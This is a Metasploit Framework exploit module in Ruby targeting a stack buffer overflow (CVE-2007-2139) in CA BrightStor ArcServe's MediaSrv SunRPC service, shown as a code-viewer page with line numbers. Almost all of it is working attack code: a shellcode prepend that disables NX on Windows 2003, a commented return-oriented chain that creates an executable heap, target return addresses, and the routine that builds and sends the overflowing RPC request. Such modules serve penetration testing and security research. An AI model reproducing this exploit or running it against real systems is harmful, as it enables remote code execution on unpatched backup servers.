1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 |
## # $Id: mediasrv_sunrpc.rb 9583 2010-06-22 19:11:05Z todb $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::SunRPC def initialize(info = {}) super(update_info(info, 'Name' => 'CA BrightStor ArcServe Media Service Stack Buffer Overflow', 'Description'=> %q{ This exploit targets a stack buffer overflow in the MediaSrv RPC service of CA BrightStor Arcserve. By sending a specially crafted SUNRPC request, an attacker can overflow a stack buffer and execute arbitrary code. }, 'Author' => [ 'toto' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9583 $', 'References' => [ [ 'CVE', '2007-2139'], [ 'OSVDB', '35326' ], [ 'BID', '23635'], [ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-07-022.html'], ], 'Privileged' => true, 'Platform' => 'win', 'Payload'=> { 'Space'=> 0x300, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c_", 'Prepend' => # Disable NX on 2k3 to upload data on the stack # (service crashes if the stack is switched to the heap) "\x64\x8b\x0d\x30\x00\x00\x00"+ # mov ecx, dword ptr fs:[0x30] ; PEB "\x83\xb9\xa4\x00\x00\x00\x05"+ # cmp dword ptr [ecx+0xa4], 5; MajorVersion == 5 "\x75\x30"+ # jnz after "\x83\xb9\xa8\x00\x00\x00\x02"+ # cmp dword ptr [ecx+0xa8], 2; MinorVersion == 2 "\x75\x27"+ # jnz after "\x81\xb9\xac\x00\x00\x00\xce\x0e\x00\x00"+ # cmp dword ptr [ecx+0xac], 0xece; BuildVersion (> SP0) "\x76\x1b"+ # jbe after "\x8d\x89\xa8\x00\x00\x00"+ # lea ecx, [ecx+0xa8] "\xba\x00\x03\xfe\x7f"+ # mov edx, 0x7ffe0300 "\xb8\xed\x00\x00\x00"+ # mov eax, 0xed "\x6a\x04"+ # push 4 "\x51"+ # push ecx "\x6a\x22"+ # push 22 "\x6a\xff"+ # push -1 "\x6a\xff"+ # push -1 (padding) "\xff\x12", # call dword ptr[edx] 'StackAdjustment' => -10000, }, 'Targets'=> [ ['BrightStor Arcserve 9.0 (?) - 11.5 SP2 (Windows 2000)', { 'Ret' => 0x1002b715 , 'Off' => 0x304} ], ['BrightStor Arcserve 9.0 (?) - 11.5 SP2 (Windows 2003)', { 'Ret' => 0x1002b715 , 'Off' => 0x300} ], ['BrightStor Arcserve 11.1 - 11.5 SP2 (Windows All - NX Support)', { 'Ret' => 0x41414141 } ], ], 'DisclosureDate' => 'Apr 25 2007', 'DefaultTarget' => 0 )) end def exploit sunrpc_create('tcp', 0x6097e, 1) if target.name =~ /NX/ # summary: # # 1) get the payload address # 2) copy the payload into a fixed buffer (data section) # 3) allocate an executable heap buffer (to bypass NX) # 4) copy back the payload into the heap # 5) jmp to the payload in the heap # # step 1: jmp arround the atoi pointers # # add esp, 20h # retn # # step 2: get a pointer to the stack in ecx # # xor eax, eax # mov ecx, dword ptr fs:[0] # cmp dword ptr [ecx+4], offset __unwind_handler # jnz end # [...] # end: # retn # # step 3: mov the stack pointer in eax # # mov eax, ecx # add esp, 20h # retn # # step 4: set fffff824h in esi # # pop esi # retn # # step 5: add esi to eax (eax points to the payload in the stack) # # add eax, esi # pop esi # retn # # step 6: set edi to a buffer we can write (6d515301h) # # pop edi # retn # # step 7: copy the payload to the buffer # # push eax # push edi # call _strcpy_0 # pop ecx # pop ecx # retn # # step 8: set ecx to ffffffh # # pop ecx # retn # # step 9: mov ecx to eax (ffffffff -> MEM_EXECUTABLE) # # mov eax, ecx # add esp, 20h # retn # # step 10: create an executable heap # # push 0 # cmp [esp+4+arg_0], eax # push 1000h # setz al # push eax # call ds:HeapCreate; create a new heap (executable for NX) # test eax, eax # mov hHeap, eax # jz short loc_6d5071b5 # call ___sbh_heap_init # test eax, eax # jnz short loc_6d5071b8 # push hHeap # call ds:HeapDestroy # loc_6d5071b5: # xor eax, eax # retn # loc_6d5071b8: # push 1 # pop eax # retn # # step 11: Allocate a new heap buffer (size 01060101h) # # push hHeap # call ds:HeapAlloc # pop edi # pop esi # retn # # step 12: set esi to the buffer containing the payload(6d515301h) # # pop esi # retn # # step 13: copy the payload to the heap (executable) # # push esi # push eax # call _strcpy_0 # pop ecx # pop ecx # pop esi # retn # # step 14: go to the heap # # call eax # # step 15: # if 2k3 the prepend data disables NX to upload and execute # data on the stack # # step 16: w00t! data = Rex::Text.rand_text_alphanumeric(0x600) # ret 1 data[ 0x100, 4 ] = [ 0x6d5010e4 ].pack('V') # used to store the result of atoi data[ 0x108, 4 ] = [ 0x6d51652b ].pack('V') data[ 0x10C, 4 ] = [ 0x6d51652b ].pack('V') data[ 0x110, 4 ] = [ 0x6d51652b ].pack('V') data[ 0x114, 4 ] = [ 0x6d51652b ].pack('V') data[ 0x118, 4 ] = [ 0x6d51652b ].pack('V') data[ 0x11C, 4 ] = [ 0x6d51652b ].pack('V') # ret 2 data[ 0x124, 4 ] = [ 0x6d50b27a ].pack('V') # ret 3 data[ 0x128, 4 ] = [ 0x6d5010e2 ].pack('V') # ret 4 data[ 0x14C, 4 ] = [ 0x6d50aa6d ].pack('V') data[ 0x150, 4 ] = [ 0xfffff824 ].pack('V') # ret 5 data[ 0x154, 4 ] = [ 0x6d50aa6b ].pack('V') # ret 6 data[ 0x15C, 4 ] = [ 0x6d5057a0 ].pack('V') data[ 0x160, 4 ] = [ 0x6d515301 ].pack('V') # ret 7 data[ 0x164, 4 ] = [ 0x6d50b938 ].pack('V') # ret 8 data[ 0x178, 4 ] = [ 0x6d502df0 ].pack('V') data[ 0x17C, 4 ] = [ 0xffffffff ].pack('V') # ret 9 data[ 0x180, 4 ] = [ 0x6d5010e2 ].pack('V') # ret 10 data[ 0x1a4, 4 ] = [ 0x6d507182 ].pack('V') # ret 11 data[ 0x1a8, 4 ] = [ 0x6d505c2c ].pack('V') data[ 0x1ac, 4 ] = [ 0xffffffff ].pack('V') data[ 0x1b0, 4 ] = [ 0x01060101 ].pack('V') # ret 12 data[ 0x1bc, 4 ] = [ 0x6d50aa6d ].pack('V') data[ 0x1c0, 4 ] = [ 0x6d515301 ].pack('V') # ret 13 data[ 0x1c4, 4 ] = [ 0x6d50f648 ].pack('V') # ret 14 data[ 0x1cc, 4 ] = [ 0x6d506867 ].pack('V') data[ 0x260 , payload.encoded.length ] = payload.encoded else data = Rex::Text.rand_text_alphanumeric(0xA64) off = target['Off'] data[ off, payload.encoded.length] = payload.encoded data[ off + 0x73c, 2 ] = "\xeb\x06" data[ off + 0x740, 4 ] = [ target.ret ].pack('V') data[ off + 0x744, 5 ] = "\xe9\xb7\xf8\xff\xff" end data = "_" + data + "_1_1_1_1_1_1_1_1_1" request = XDR.encode(1, 1, 2, 2, 2, data, 3, 3) print_status("Trying target #{target.name}...") begin ret = sunrpc_call(0xf5, request) select(nil,nil,nil,20) rescue end sunrpc_destroy handler disconnect end end |